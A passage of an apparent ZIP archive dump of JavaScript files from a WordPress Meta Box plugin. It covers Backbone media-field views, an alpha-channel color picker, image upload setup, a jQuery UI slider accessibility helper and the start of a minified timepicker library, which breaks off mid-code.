				$children.eq( index - 1 ).after( itemEl );
			}
		},

		// Remove item view
		removeItemView: function ( item ) {
			this.getItemView( item ).$el.detach();
		},

		removeItem: function ( item ) {
			this.collection.remove( item );
		},

		resetItemViews: function( items ){
			var that = this;
			_.each( that.models, that.removeItemView );
			items.each( that.addItemView );
		},

		switchItem: function ( item ) {
			if ( this._switchFrame ) {
				this._switchFrame.dispose();
			}
			this._switchFrame = new MediaSelect( {
				multiple: false,
				editing: true,
				library: {
					type: this.controller.get( 'mimeType' )
				},
				edit: this.collection
			} );

			// Refresh content when frame opens
			this._switchFrame.on( 'open', function() {
				var frameContent = this._switchFrame.content.get();
				if ( frameContent && frameContent.collection ) {
					frameContent.collection.mirroring._hasMore = true;
					frameContent.collection.more();
				}
			}, this );

			this._switchFrame.on( 'select', function () {
				var selection = this._switchFrame.state().get( 'selection' ),
					collection = this.collection,
					index = collection.indexOf( item );

				if ( ! _.isEmpty( selection ) ) {
					collection.remove( item );
					collection.add( selection, {at: index} );
				}
			}, this );

			this._switchFrame.open();
			return false;
		},

		editItem: function ( item ) {
			if ( this._editFrame ) {
				this._editFrame.dispose();
			}

			// Trigger the media frame to open the correct item.
			this._editFrame = new EditMedia( {
				frame: 'edit-attachments',
				controller: {
					gridRouter: new wp.media.view.MediaFrame.Manage.Router()
				},
				library: this.collection,
				model: item
			} );

			this._editFrame.open();
		}
	} );

	/***
	 * MediaStatus view.
	 * Show number of selected/uploaded files and number of files remain if "maxStatus" parameter is true.
	 */
	MediaStatus = views.MediaStatus = Backbone.View.extend( {
		tagName: 'div',
		className: 'rwmb-media-status',
		template: wp.template( 'rwmb-media-status' ),

		initialize: function ( options ) {
			this.controller = options.controller;

			// Auto hide if maxStatus is false
			if ( ! this.controller.get( 'maxStatus' ) ) {
				this.$el.hide();
				return;
			}

			// Re-render if changes happen in controller
			this.listenTo( this.controller.get( 'items' ), 'update', this.render );
			this.listenTo( this.controller.get( 'items' ), 'reset', this.render );

			// Render
			this.render();
		},

		render: function () {
			this.$el.html( this.template( this.controller.toJSON() ) );
		}
	} );

	/***
	 * Media Button
	 * Selects and adds media to controller
	 */
	MediaButton = views.MediaButton = Backbone.View.extend( {
		tagName: 'div',
		className: 'rwmb-media-add',
		template: wp.template( 'rwmb-media-button' ),
		events: {
			'click .button': function () {
				if ( this._frame ) {
					this._frame.dispose();
				}
				var maxFiles = this.controller.get( 'maxFiles' );
				this._frame = new MediaSelect( {
					multiple: maxFiles > 1 || maxFiles <= 0 ? 'add' : false,
					editing: true,
					library: {
						type: this.controller.get( 'mimeType' )
					},
					edit: this.collection
				} );

				// Refresh content when frame opens
				this._frame.on( 'open', function() {
					var frameContent = this._frame.content.get();
					if ( frameContent && frameContent.collection ) {
						frameContent.collection.mirroring._hasMore = true;
						frameContent.collection.more();
					}
				}, this );

				this._frame.on( 'select', function () {
					var selection = this._frame.state().get( 'selection' );
					if ( this.controller.get( 'addTo' ) === 'beginning' ) {
						this.collection.add( selection.models, {at: 0} );
					} else {
						this.collection.add( selection.models );
					}
				}, this );

				this._frame.open();
			}
		},
		render: function () {
			this.$el.html( this.template( {text: i18n.add} ) );
			return this;
		},

		initialize: function ( options ) {
			this.controller = options.controller;
			this.collection = this.controller.get( 'items' );

			// Auto hide if you reach the max number of media
			this.listenTo( this.controller, 'change:full', function () {
				this.$el.toggle( ! this.controller.get( 'full' ) );
			} );

			this.render();
		}
	} );

	/***
	 * MediaItem
	 * View for individual media items
	 */
	MediaItem = views.MediaItem = Backbone.View.extend( {
		tagName: 'li',
		className: 'rwmb-file',
		template: wp.template( 'rwmb-media-item' ),
		initialize: function ( options ) {
			this.controller = options.controller;
			this.collection = this.controller.get( 'items' );
			this.render();
			this.listenTo( this.model, 'change', this.render );

			this.$el.data( 'id', this.model.cid );
		},

		events: {
			'click .rwmb-image-overlay': function ( e ) {
				e.preventDefault();
				this.trigger( 'click:switch', this.model );
			},
			'click .rwmb-remove-media': function ( e ) {
				e.preventDefault();
				this.trigger( 'click:remove', this.model );
			},
			'click .rwmb-edit-media': function ( e ) {
				e.preventDefault();
				this.trigger( 'click:edit', this.model );
			}
		},

		render: function () {
			var data = this.model.toJSON();
			data.controller = this.controller.toJSON();
			this.$el.html( this.template( data ) );
			return this;
		}
	} );

	/**
	 * Extend media frames to make things work right
	 */

	/**
	 * MediaDetails
	 * Custom version of TwoColumn view to prevent all video and audio from being unset
	 */
	MediaDetails = views.MediaDetails = media.view.Attachment.Details.TwoColumn.extend( {
		render: function () {
			var that = this;
			media.view.Attachment.Details.prototype.render.apply( this, arguments );
			this.players = this.players || [];

			media.mixin.unsetPlayers.call( this );

			this.$( 'audio, video' ).each( function ( i, elem ) {
				var el = media.view.MediaDetails.prepareSrc( elem );
				that.players.push( new window.MediaElementPlayer( el, media.mixin.mejsSettings ) );
			} );
		}
	} );

	/**
	 * MediaLibrary
	 * Custom version of Library to exclude already selected media in a media frame
	 */
	MediaLibrary = media.controller.Library.extend( {
		defaults: _.defaults( {
			multiple: 'add',
			filterable: 'all',
			priority: 100,
			syncSelection: false
		}, media.controller.Library.prototype.defaults ),

		activate: function () {
			var library = this.get( 'library' ),
				edit = this.frame.options.edit;

			if ( this.editLibrary && this.editLibrary !== edit ) {
				library.unobserve( this.editLibrary );
			}

			// Accepts attachments that exist in the original library and
			// that do not exist in gallery's library.
			library.validator = function ( attachment ) {
				return ! ! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && media.model.Selection.prototype.validator.apply( this, arguments );
			};

			// Reset the library to ensure that all attachments are re-added
			// to the collection. Do so silently, as calling `observe` will
			// trigger the `reset` event.
			library.reset( library.mirroring.models, {silent: true} );
			library.observe( edit );
			this.editLibrary = edit;

			media.controller.Library.prototype.activate.apply( this, arguments );
		}
	} );

	/**
	 * MediaSelect
	 * Custom version of Select media frame that uses  MediaLibrary
	 */
	MediaSelect = views.MediaSelect = MediaFrame.Select.extend( {
		/**
		 * Create the default states on the frame.
		 */
		createStates: function () {
			var options = this.options;

			// Add reference so we know MediaFrame belongs to MB plugin.
			this.$el.attr( 'data-class', 'rwmb-field' );

			if ( this.options.states ) {
				return;
			}

			// Add the default states.
			this.states.add( [
				// Main states.
				new MediaLibrary( {
					library: media.query( options.library ),
					multiple: options.multiple,
					priority: 20
				} )
			] );
		}
	} );

	/***
	 * EditMedia
	 * Custom version of EditAttachments frame to prevent all video and audio from being unset
	 */
	EditMedia = views.EditMedia = MediaFrame.EditAttachments.extend( {
		/**
		 * Content region rendering callback for the `edit-metadata` mode.
		 *
		 * @param {Object} contentRegion Basic object with a `view` property, which
		 *                               should be set with the proper region view.
		 */
		editMetadataMode: function ( contentRegion ) {
			contentRegion.view = new MediaDetails( {
				controller: this,
				model: this.model
			} );

			/**
			 * Attach a subview to display fields added via the
			 * `attachment_fields_to_edit` filter.
			 */
			contentRegion.view.views.set( '.attachment-compat', new media.view.AttachmentCompat( {
				controller: this,
				model: this.model
			} ) );
		},
		resetRoute: function() {}
	} );

	function initMediaField() {
		var $this = $( this ),
			view = $this.data( 'view' );

		if ( view ) {
			return;
		}

		view = new MediaField( { input: this } );

		$this.siblings( '.rwmb-media-view' ).remove();
		$this.after( view.el );
		$this.data( 'view', view );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-file_advanced' ).each( initMediaField );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-file_advanced', initMediaField );
} )( jQuery, wp, _, rwmb, i18nRwmbMedia );
PK     0w\!lu  u  L  dashboard/lib/meta-box/js/wp-color-picker-alpha/wp-color-picker-alpha.min.jsnu [        /**!
 * wp-color-picker-alpha
 *
 * Overwrite Automattic Iris for enabled Alpha Channel in wpColorPicker
 * Only run in input and is defined data alpha in true
 *
 * Version: 3.0.0
 * https://github.com/kallookoo/wp-color-picker-alpha
 * Licensed under the GPLv2 license or later.
 */
!function ( e, a ) { var l, o = { version: 300 }; if ( "wpColorPickerAlpha" in window && "version" in window.wpColorPickerAlpha ) { var t = parseInt( window.wpColorPickerAlpha.version, 10 ); if ( !isNaN( t ) && o.version <= t ) return; } Color.fn.hasOwnProperty( "to_s" ) || ( Color.fn.to_s = function ( o ) { "hex" === ( o = o || "hex" ) && this._alpha < 1 && ( o = "rgba" ); var a = ""; return "hex" === o ? a = this.toString() : this.error || ( a = this.toCSS( o ).replace( /\(\s+/, "(" ).replace( /\s+\)/, ")" ) ), a; }, window.wpColorPickerAlpha = o, l = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==", e.widget( "a8c.iris", e.a8c.iris, { alphaOptions: { alphaEnabled: !1 }, _getColor: function ( o ) { return o === a && ( o = this._color ), this.alphaOptions.alphaEnabled ? ( o = o.to_s( this.alphaOptions.alphaColorType ), this.alphaOptions.alphaColorWithSpace || ( o = o.replace( /\s+/g, "" ) ), o ) : o.toString(); }, _create: function () { try { this.alphaOptions = this.element.wpColorPicker( "instance" ).alphaOptions; } catch ( o ) { } e.extend( {}, this.alphaOptions, { alphaEnabled: !1, alphaCustomWidth: 130, alphaReset: !1, alphaColorType: "hex", alphaColorWithSpace: !1 } ), this._super(); }, _addInputListeners: function ( i ) { function o( o ) { var a = i.val(), t = new Color( a ), a = a.replace( /^(#|(rgb|hsl)a?)/, "" ), r = l.alphaOptions.alphaColorType; i.removeClass( "iris-error" ), t.error ? "" !== a && i.addClass( "iris-error" ) : "hex" === r && "keyup" === o.type && a.match( /^[0-9a-fA-F]{3}$/ ) || t.toIEOctoHex() !== l._color.toIEOctoHex() && l._setOption( "color", l._getColor( t ) ); } var l = this; i.on( "change", o ).on( "keyup", l._debounce( o, 100 ) ), l.options.hide && i.one( "focus", function () { l.show(); } ); }, _initControls: function () { var t, o, a, r; this._super(), this.alphaOptions.alphaEnabled && ( a = ( o = ( t = this ).controls.strip.clone( !1, !1 ) ).find( ".iris-slider-offset" ), r = { stripAlpha: o, stripAlphaSlider: a }, o.addClass( "iris-strip-alpha" ), a.addClass( "iris-slider-offset-alpha" ), o.appendTo( t.picker.find( ".iris-picker-inner" ) ), e.each( r, function ( o, a ) { t.controls[ o ] = a; } ), t.controls.stripAlphaSlider.slider( { orientation: "vertical", min: 0, max: 100, step: 1, value: parseInt( 100 * t._color._alpha ), slide: function ( o, a ) { t.active = "strip", t._color._alpha = parseFloat( a.value / 100 ), t._change.apply( t, arguments ); } } ) ); }, _dimensions: function ( o ) { if ( this._super( o ), this.alphaOptions.alphaEnabled ) { for ( var a = this, t = a.options, r = a.controls.square, o = a.picker.find( ".iris-strip" ), i = Math.round( a.picker.outerWidth( !0 ) - ( t.border ? 22 : 0 ) ), l = Math.round( r.outerWidth() ), e = Math.round( ( i - l ) / 2 ), s = Math.round( e / 2 ), n = Math.round( l + 2 * e + 2 * s ); i < n; )e = Math.round( e - 2 ), s = Math.round( s - 1 ), n = Math.round( l + 2 * e + 2 * s ); r.css( "margin", "0" ), o.width( e ).css( "margin-left", s + "px" ); } }, _change: function () { var o, a, t, r = this, i = r.active; r._super(), r.alphaOptions.alphaEnabled && ( o = r.controls, a = parseInt( 100 * r._color._alpha ), t = [ "rgb(" + ( t = r._color.toRgb() ).r + "," + t.g + "," + t.b + ") 0%", "rgba(" + t.r + "," + t.g + "," + t.b + ", 0) 100%" ], r.picker.closest( ".wp-picker-container" ).find( ".wp-color-result" ), r.options.color = r._getColor(), o.stripAlpha.css( { background: "linear-gradient(to bottom, " + t.join( ", " ) + "), url(" + l + ")" } ), i && o.stripAlphaSlider.slider( "value", a ), r._color.error || r.element.removeClass( "iris-error" ).val( r.options.color ), r.picker.find( ".iris-palette-container" ).on( "click.palette", ".iris-palette", function () { var o = e( this ).data( "color" ); r.alphaOptions.alphaReset && ( r._color._alpha = 1, o = r._getColor() ), r._setOption( "color", o ); } ) ); }, _paintDimension: function ( o, a ) { var t = this, r = !1; t.alphaOptions.alphaEnabled && "strip" === a && ( r = t._color, t._color = new Color( r.toString() ), t.hue = t._color.h() ), t._super( o, a ), r && ( t._color = r ); }, _setOption: function ( o, a ) { var t = this; if ( "color" !== o || !t.alphaOptions.alphaEnabled ) return t._super( o, a ); a = "" + a, newColor = new Color( a ).setHSpace( t.options.mode ), newColor.error || t._getColor( newColor ) === t._getColor() || ( t._color = newColor, t.options.color = t._getColor(), t.active = "external", t._change() ); }, color: function ( o ) { return !0 === o ? this._color.clone() : o === a ? this._getColor() : void this.option( "color", o ); } } ), e.widget( "wp.wpColorPicker", e.wp.wpColorPicker, { alphaOptions: { alphaEnabled: !1 }, _getAlphaOptions: function () { var r = this.element, o = r.data( "type" ) || this.options.type, i = r.data( "defaultColor" ) || r.val(), l = { alphaEnabled: r.data( "alphaEnabled" ) || !1, alphaCustomWidth: 130, alphaReset: !1, alphaColorType: "rgb", alphaColorWithSpace: !1 }; return l.alphaEnabled && ( l.alphaEnabled = r.is( "input" ) && "full" === o ), l.alphaEnabled && ( l.alphaColorWithSpace = i && i.match( /\s/ ), e.each( l, function ( o, a ) { var t = r.data( o ) || a; switch ( o ) { case "alphaCustomWidth": t = t ? parseInt( t, 10 ) : 0, t = isNaN( t ) ? a : t; break; case "alphaColorType": t.match( /^(hex|(rgb|hsl)a?)$/ ) || ( t = i && i.match( /^#/ ) ? "hex" : i && i.match( /^hsla?/ ) ? "hsl" : a ); break; default: t = !!t; }l[ o ] = t; } ) ), l; }, _create: function () { e.support.iris && ( this.alphaOptions = this._getAlphaOptions(), this._super() ); }, _addListeners: function () { if ( !this.alphaOptions.alphaEnabled ) return this._super(); var t = this, r = t.element, i = t.toggler.is( "a" ); this.alphaOptions.defaultWidth = r.width(), this.alphaOptions.alphaCustomWidth && r.width( parseInt( this.alphaOptions.defaultWidth + this.alphaOptions.alphaCustomWidth, 10 ) ), t.toggler.css( { position: "relative", "background-image": "url(" + l + ")" } ), i ? t.toggler.html( '<span class="color-alpha" />' ) : t.toggler.append( '<span class="color-alpha" />' ), t.colorAlpha = t.toggler.find( "span.color-alpha" ).css( { width: "30px", height: "100%", position: "absolute", top: 0, "background-color": r.val() } ), "ltr" === t.colorAlpha.css( "direction" ) ? t.colorAlpha.css( { "border-bottom-left-radius": "2px", "border-top-left-radius": "2px", left: 0 } ) : t.colorAlpha.css( { "border-bottom-right-radius": "2px", "border-top-right-radius": "2px", right: 0 } ), r.iris( { change: function ( o, a ) { t.colorAlpha.css( { "background-color": a.color.to_s( t.alphaOptions.alphaColorType ) } ), e.isFunction( t.options.change ) && t.options.change.call( this, o, a ); } } ), t.wrap.on( "click.wpcolorpicker", function ( o ) { o.stopPropagation(); } ), t.toggler.click( function () { t.toggler.hasClass( "wp-picker-open" ) ? t.close() : t.open(); } ), r.change( function ( o ) { var a = e( this ).val(); ( r.hasClass( "iris-error" ) || "" === a || a.match( /^(#|(rgb|hsl)a?)$/ ) ) && ( i && t.toggler.removeAttr( "style" ), t.colorAlpha.css( "background-color", "" ), e.isFunction( t.options.clear ) && t.options.clear.call( this, o ) ); } ), t.button.click( function ( o ) { e( this ).hasClass( "wp-picker-default" ) ? r.val( t.options.defaultColor ).change() : e( this ).hasClass( "wp-picker-clear" ) && ( r.val( "" ), i && t.toggler.removeAttr( "style" ), t.colorAlpha.css( "background-color", "" ), e.isFunction( t.options.clear ) && t.options.clear.call( this, o ), r.trigger( "change" ) ); } ); } } ) ); }( jQuery );
PK     0w\h4    )  dashboard/lib/meta-box/js/image-upload.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	var views = rwmb.views = rwmb.views || {},
		ImageField = views.ImageField,
		ImageUploadField,
		UploadButton = views.UploadButton;

	ImageUploadField = views.ImageUploadField = ImageField.extend( {
		createAddButton: function () {
			this.addButton = new UploadButton( {controller: this.controller} );
		}
	} );

	function initImageUpload() {
		var $this = $( this ),
			view = $this.data( 'view' );

		if ( view ) {
			return;
		}

		view = new ImageUploadField( { input: this } );

		$this.siblings( '.rwmb-media-view' ).remove();
		$this.after( view.el );

		// Init uploader after view is inserted to make wp.Uploader works.
		view.addButton.initUploader( $this );

		$this.data( 'view', view );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-image_upload, .rwmb-plupload_image' ).each( initImageUpload );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-image_upload, .rwmb-plupload_image', initImageUpload )
} )( jQuery, rwmb );
PK     0w\w    <  dashboard/lib/meta-box/js/jqueryui/jquery-ui-sliderAccess.jsnu [        /*
 * jQuery UI Slider Access
 * By: Trent Richardson [http://trentrichardson.com]
 * Version 0.3
 * Last Modified: 10/20/2012
 * 
 * Copyright 2011 Trent Richardson
 * Dual licensed under the MIT and GPL licenses.
 * http://trentrichardson.com/Impromptu/GPL-LICENSE.txt
 * http://trentrichardson.com/Impromptu/MIT-LICENSE.txt
 * 
 */
 (function($){

	$.fn.extend({
		sliderAccess: function(options){
			options = options || {};
			options.touchonly = options.touchonly !== undefined? options.touchonly : true; // by default only show it if touch device

			if(options.touchonly === true && !("ontouchend" in document)){
				return $(this);
			}
				
			return $(this).each(function(i,obj){
						var $t = $(this),
							o = $.extend({},{ 
											where: 'after',
											step: $t.slider('option','step'), 
											upIcon: 'ui-icon-plus', 
											downIcon: 'ui-icon-minus',
											text: false,
											upText: '+',
											downText: '-',
											buttonset: true,
											buttonsetTag: 'span',
											isRTL: false
										}, options),
							$buttons = $('<'+ o.buttonsetTag +' class="ui-slider-access">'+
											'<button data-icon="'+ o.downIcon +'" data-step="'+ (o.isRTL? o.step : o.step*-1) +'">'+ o.downText +'</button>'+
											'<button data-icon="'+ o.upIcon +'" data-step="'+ (o.isRTL? o.step*-1 : o.step) +'">'+ o.upText +'</button>'+
										'</'+ o.buttonsetTag +'>');

						$buttons.children('button').each(function(j, jobj){
							var $jt = $(this);
							$jt.button({ 
											text: o.text, 
											icons: { primary: $jt.data('icon') }
										})
								.click(function(e){
											var step = $jt.data('step'),
												curr = $t.slider('value'),
												newval = curr += step*1,
												minval = $t.slider('option','min'),
												maxval = $t.slider('option','max'),
												slidee = $t.slider("option", "slide") || function(){},
												stope = $t.slider("option", "stop") || function(){};

											e.preventDefault();
											
											if(newval < minval || newval > maxval){
												return;
											}
											
											$t.slider('value', newval);

											slidee.call($t, null, { value: newval });
											stope.call($t, null, { value: newval });
										});
						});
						
						// before or after					
						$t[o.where]($buttons);

						if(o.buttonset){
							$buttons.removeClass('ui-corner-right').removeClass('ui-corner-left').buttonset();
							$buttons.eq(0).addClass('ui-corner-left');
							$buttons.eq(1).addClass('ui-corner-right');
						}

						// adjust the width so we don't break the original layout
						var bOuterWidth = $buttons.css({
									marginLeft: ((o.where === 'after' && !o.isRTL) || (o.where === 'before' && o.isRTL)? 10:0), 
									marginRight: ((o.where === 'before' && !o.isRTL) || (o.where === 'after' && o.isRTL)? 10:0)
								}).outerWidth(true) + 5;
						var tOuterWidth = $t.outerWidth(true);
						$t.css('display','inline-block').width(tOuterWidth-bOuterWidth);
					});		
		}
	});

})(jQuery);PK     0w\n    D  dashboard/lib/meta-box/js/jqueryui/jquery-ui-timepicker-addon.min.jsnu [        /*! jQuery Timepicker Addon - v1.6.3 - 2016-04-20
* http://trentrichardson.com/examples/timepicker
* Copyright (c) 2016 Trent Richardson; Licensed MIT */
!function(a){"function"==typeof define&&define.amd?define(["jquery","jquery-ui"],a):a(jQuery)}(function($){if($.ui.timepicker=$.ui.timepicker||{},!$.ui.timepicker.version){$.extend($.ui,{timepicker:{version:"1.6.3"}});var Timepicker=function(){this.regional=[],this.regional[""]={currentText:"Now",closeText:"Done",amNames:["AM","A"],pmNames:["PM","P"],timeFormat:"HH:mm",timeSuffix:"",timeOnlyTitle:"Choose Time",timeText:"Time",hourText:"Hour",minuteText:"Minute",secondText:"Second",millisecText:"Millisecond",microsecText:"Microsecond",timezoneText:"Time Zone",isRTL:!1},this._defaults={showButtonPanel:!0,timeOnly:!1,timeOnlyShowDate:!1,showHour:null,showMinute:null,showSecond:null,showMillisec:null,showMicrosec:null,showTimezone:null,showTime:!0,stepHour:1,stepMinute:1,stepSecond:1,stepMillisec:1,stepMicrosec:1,hour:0,minute:0,second:0,millisec:0,microsec:0,timezone:null,hourMin:0,minuteMin:0,secondMin:0,millisecMin:0,microsecMin:0,hourMax:23,minuteMax:59,secondMax:59,millisecMax:999,microsecMax:999,minDateTime:null,maxDateTime:null,maxTime:null,minTime:null,onSelect:null,hourGrid:0,minuteGrid:0,secondGrid:0,millisecGrid:0,microsecGrid:0,alwaysSetTime:!0,separator:" ",altFieldTimeOnly:!0,altTimeFormat:null,altSeparator:null,altTimeSuffix:null,altRedirectFocus:!0,pickerTimeFormat:null,pickerTimeSuffix:null,showTimepicker:!0,timezoneList:null,addSliderAccess:!1,sliderAccessArgs:null,controlType:"slider",oneLine:!1,defaultValue:null,parse:"strict",afterInject:null},$.extend(this._defaults,this.regional[""])};$.extend(Timepicker.prototype,{$input:null,$altInput:null,$timeObj:null,inst:null,hour_slider:null,minute_slider:null,second_slider:null,millisec_slider:null,microsec_slider:null,timezone_select:null,maxTime:null,minTime:null,hour:0,minute:0,second:0,millisec:0,microsec:0,timezone:null,hourMinOriginal:null,minuteMinOriginal:null,secondMinOriginal:null,millisecMinOriginal:null,microsecMinOriginal:null,hourMaxOriginal:null,minuteMaxOriginal:null,secondMaxOriginal:null,millisecMaxOriginal:null,microsecMaxOriginal:null,ampm:"",formattedDate:"",formattedTime:"",formattedDateTime:"",timezoneList:null,units:["hour","minute","second","millisec","microsec"],support:{},control:null,setDefaults:function(a){return extendRemove(this._defaults,a||{}),this},_newInst:function($input,opts){var tp_inst=new Timepicker,inlineSettings={},fns={},overrides,i;for(var attrName in this._defaults)if(this._defaults.hasOwnProperty(attrName)){var attrValue=$input.attr("time:"+attrName);if(attrValue)try{inlineSettings[attrName]=eval(attrValue)}catch(err){inlineSettings[attrName]=attrValue}}overrides={beforeShow:function(a,b){return $.isFunction(tp_inst._defaults.evnts.beforeShow)?tp_inst._defaults.evnts.beforeShow.call($input[0],a,b,tp_inst):void 0},onChangeMonthYear:function(a,b,c){$.isFunction(tp_inst._defaults.evnts.onChangeMonthYear)&&tp_inst._defaults.evnts.onChangeMonthYear.call($input[0],a,b,c,tp_inst)},onClose:function(a,b){tp_inst.timeDefined===!0&&""!==$input.val()&&tp_inst._updateDateTime(b),$.isFunction(tp_inst._defaults.evnts.onClose)&&tp_inst._defaults.evnts.onClose.call($input[0],a,b,tp_inst)}};for(i in overrides)overrides.hasOwnProperty(i)&&(fns[i]=opts[i]||this._defaults[i]||null);tp_inst._defaults=$.extend({},this._defaults,inlineSettings,opts,overrides,{evnts:fns,timepicker:tp_inst}),tp_inst.amNames=$.map(tp_inst._defaults.amNames,function(a){return a.toUpperCase()}),tp_inst.pmNames=$.map(tp_inst._defaults.pmNames,function(a){return a.toUpperCase()}),tp_inst.support=detectSupport(tp_inst._defaults.timeFormat+(tp_inst._defaults.pickerTimeFormat?tp_inst._defaults.pickerTimeFormat:"")+(tp_inst._defaults.altTimeFormat?tp_inst._defaults.altTimeFormat:"")),"string"==typeof tp_inst._defaults.controlType?("slider"===tp_inst._defaults.controlType&&"undefined"==typeof $.ui.slider&&(tp_inst._defaults.controlType="select"),tp_inst.control=tp_inst._controls[tp_inst._defaults.controlType]):tp_inst.control=tp_inst._defaults.controlType;var timezoneList=[-720,-660,-600,-570,-540,-480,-420,-360,-300,-270,-240,-210,-180,-120,-60,0,60,120,180,210,240,270,300,330,345,360,390,420,480,525,540,570,600,630,660,690,720,765,780,840];null!==tp_inst._defaults.timezoneList&&(timezoneList=tp_inst._defaults.timezoneList);var tzl=timezoneList.length,tzi=0,tzv=null;if(tzl>0&&"object"!=typeof timezoneList[0])for(;tzl>tzi;tzi++)tzv=timezoneList[tzi],timezoneList[tzi]={value:tzv,label:$.timepicker.timezoneOffsetString(tzv,tp_inst.support.iso8601)};return tp_inst._defaults.timezoneList=timezoneList,tp_inst.timezone=null!==tp_inst._defaults.timezone?$.timepicker.timezoneOffsetNumber(tp_inst._defaults.timezone):-1*(new Date).getTimezoneOffset(),tp_inst.hour=tp_inst._defaults.hour<tp_inst._defaults.hourMin?tp_inst._defaults.hourMin:tp_inst._defaults.hour>tp_inst._defaults.hourMax?tp_inst._defaults.hourMax:tp_inst._defaults.hour,tp_inst.minute=tp_inst._defaults.minute<tp_inst._defaults.minuteMin?tp_inst._defaults.minuteMin:tp_inst._defaults.minute>tp_inst._defaults.minuteMax?tp_inst._defaults.minuteMax:tp_inst._defaults.minute,tp_inst.second=tp_inst._defaults.second<tp_inst._defaults.secondMin?tp_inst._defaults.secondMin:tp_inst._defaults.second>tp_inst._defaults.secondMax?tp_inst._defaults.secondMax:tp_inst._defaults.second,tp_inst.millisec=tp_inst._defaults.millisec<tp_inst._defaults.millisecMin?tp_inst._defaults.millisecMin:tp_inst._defaults.millisec>tp_inst._defaults.millisecMax?tp_inst._defaults.millisecMax:tp_inst._defaults.millisec,tp_inst.microsec=tp_inst._defaults.microsec<tp_inst._defaults.microsecMin?tp_inst._defaults.microsecMin:tp_inst._defaults.microsec>tp_inst._defaults.microsecMax?tp_inst._defaults.microsecMax:tp_inst._defaults.microsec,tp_inst.ampm="",tp_inst.$input=$input,tp_inst._defaults.altField&&(tp_inst.$altInput=$(tp_inst._defaults.altField),tp_inst._defaults.altRedirectFocus===!0&&tp_inst.$altInput.css({cursor:"pointer"}).focus(function(){$input.trigger("focus")})),(0===tp_inst._defaults.minDate||0===tp_inst._defaults.minDateTime)&&(tp_inst._defaults.minDate=new Date),(0===tp_inst._defaults.maxDate||0===tp_inst._defaults.maxDateTime)&&(tp_inst._defaults.maxDate=new Date),void 0!==tp_inst._defaults.minDate&&tp_inst._defaults.minDate instanceof Date&&(tp_inst._defaults.minDateTime=new Date(tp_inst._defaults.minDate.getTime())),void 0!==tp_inst._defaults.minDateTime&&tp_inst._defaults.minDateTime instanceof Date&&(tp_inst._defaults.minDate=new Date(tp_inst._defaults.minDateTime.getTime())),void 0!==tp_inst._defaults.maxDate&&tp_inst._defaults.maxDate instanceof Date&&(tp_inst._defaults.maxDateTime=new Date(tp_inst._defaults.maxDate.getTime())),void 0!==tp_inst._defaults.maxDateTime&&tp_inst._defaults.maxDateTime instanceof Date&&(tp_inst._defaults.maxDate=new Date(tp_inst._defaults.maxDateTime.getTime())),tp_inst.$input.bind("focus",function(){tp_inst._onFocus()}),tp_inst},_addTimePicker:function(a){var b=$.trim(this.$altInput&&this._defaults.altFieldTimeOnly?this.$input.val()+" "+this.$altInput.val():this.$input.val());this.timeDefined=this._parseTime(b),this._limitMinMaxDateTime(a,!1),this._injectTimePicker(),this._afterInject()},_parseTime:function(a,b){if(this.inst||(this.inst=$.datepicker._getInst(this.$input[0])),b||!this._defaults.timeOnly){var c=$.datepicker._get(this.inst,"dateFormat");try{var d=parseDateTimeInternal(c,this._defaults.timeFormat,a,$.datepicker._getFormatConfig(this.inst),this._defaults);if(!d.timeObj)return!1;$.extend(this,d.timeObj)}catch(e){return $.timepicker.log("Error parsing the date/time string: "+e+"\ndate/time string = "+a+"\ntimeFormat = "+this._defaults.timeFormat+"\ndateFormat = "+c),!1}return!0}var f=$.datepicker.parseTime(this._defaults.timeFormat,a,this._defaults);return f?($.extend(this,f),!0):!1},_afterInject:function(){var a=this.inst.settings;$.isFunction(a.afterInject)&&a.afterInject.call(this)},_injectTimePicker:function(){var a=this.inst.dpDiv,b=this.inst.settings,c=this,d="",e="",f=null,g={},h={},i=null,j=0,k=0;if(0===a.find("div.ui-timepicker-div").length&&b.showTimepicker){var l=" ui_tpicker_unit_hide",m='<div class="ui-timepicker-div'+(b.isRTL?" ui-timepicker-rtl":"")+(b.oneLine&&"select"===b.controlType?" ui-timepicker-oneLine":"")+'"><dl><dt class="ui_tpicker_time_label'+(b.showTime?"":l)+'">'+b.timeText+'</dt><dd class="ui_tpicker_time '+(b.showTime?"":l)+'"><input class="ui_tpicker_time_input" '+(b.timeInput?"":"disabled")+"/></dd>";for(j=0,k=this.units.length;k>j;j++){if(d=this.units[j],e=d.substr(0,1).toUpperCase()+d.substr(1),f=null!==b["show"+e]?b["show"+e]:this.support[d],g[d]=parseInt(b[d+"Max"]-(b[d+"Max"]-b[d+"Min"])%b["step"+e],10),h[d]=0,m+='<dt class="ui_tpicker_'+d+"_label"+(f?"":l)+'">'+b[d+"Text"]+'</dt><dd class="ui_tpicker_'+d+(f?"":l)+'"><div class="ui_tpicker_'+d+"_slider"+(f?"":l)+'"></div>',f&&b[d+"Grid"]>0){if(m+='<div style="padding-left: 1px"><table class="ui-tpicker-grid-label"><tr>',"hour"===d)for(var n=b[d+"Min"];n<=g[d];n+=parseInt(b[d+"Grid"],10)){h[d]++;var o=$.datepicker.formatTime(this.support.ampm?"hht":"HH",{hour:n},b);m+='<td data-for="'+d+'">'+o+"</td>"}else for(var p=b[d+"Min"];p<=g[d];p+=parseInt(b[d+"Grid"],10))h[d]++,m+='<td data-for="'+d+'">'+(10>p?"0":"")+p+"</td>";m+="</tr></table></div>"}m+="</dd>"}var q=null!==b.showTimezone?b.showTimezone:this.support.timezone;m+='<dt class="ui_tpicker_timezone_label'+(q?"":l)+'">'+b.timezoneText+"</dt>",m+='<dd class="ui_tpicker_timezone'+(q?"":l)+'"></dd>',m+="</dl></div>";var 